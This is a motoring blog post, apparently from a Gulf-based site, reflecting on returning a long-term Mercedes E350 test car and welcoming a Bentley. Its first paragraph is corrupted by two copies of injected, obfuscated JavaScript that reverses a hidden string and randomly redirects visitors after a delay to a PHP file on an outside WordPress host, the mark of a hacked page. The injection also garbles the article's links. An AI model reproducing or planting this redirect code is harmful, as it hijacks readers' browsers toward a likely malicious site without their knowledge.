If it weren’t for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-new-recruit-bentley-continental-flying-spur-speed/” target=”_blank”>the arrival of the Bentley this month, I’d probably be a bit depressed. Our $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mercedes/” target=”_blank”>Mercedes, our symbol of being proper grown-ups and not just idiots that tool around in cars all day, has been returned, and even with our new luxury British friend, there’s an empty space where it once stood.
The E350 proved close to the perfect every day car. Stylish, understated and comfortable, it never missed a beat when it came to the drudgery of commuting. It was comfortable inside, quiet and had the power from its 3.5-litre V6 to nip effortlessly into moving traffic on the motorway.
Sure, there were frustrations. The radio system was infuriatingly complicated and kept autoswitching from my favourite station whenever the signal wasn’t 100 percent. And the handling wasn’t as sharp and focused as perhaps it could be, meaning that we never really had the urge to push the Merc when the opportunity arose. Irresponsible behaviour was limited to a few tail out moments on roundabouts when we finally figured out how to turn the electronic stability control off. The wheel-mounted paddles for the seven-speed gearbox remained largely unused – much easier to just cruise around in full auto mode.
But for daily life, and regular slogs from Dubai to Abu Dhabi, it was great. The chassis was supple, the cruise control easy to flick on, and the ventilated seats were an absolute haven from the intense summer heat.
Regrets? Well, Holidays and work commitments meant we never managed to get the annoying bonnet scratch fixed before it went back – a small blot on an otherwise flawless ownership period. And I wish I’d found someone to take me around as a passenger for a bit, as I never got the chance to sit in the back and watch videos on the move through the rear screens. Not having kids meant they didn’t get the use they deserve.
Overall then, the E350 has been like a familiar, comfortable piece of clothing. It just felt right, and on occasion made us feel special thanks to its style and the heritage behind the three-pointed star. It didn’t really get our pulse racing very often, but who wants an adrenalin rush when you’re stuck in traffic?
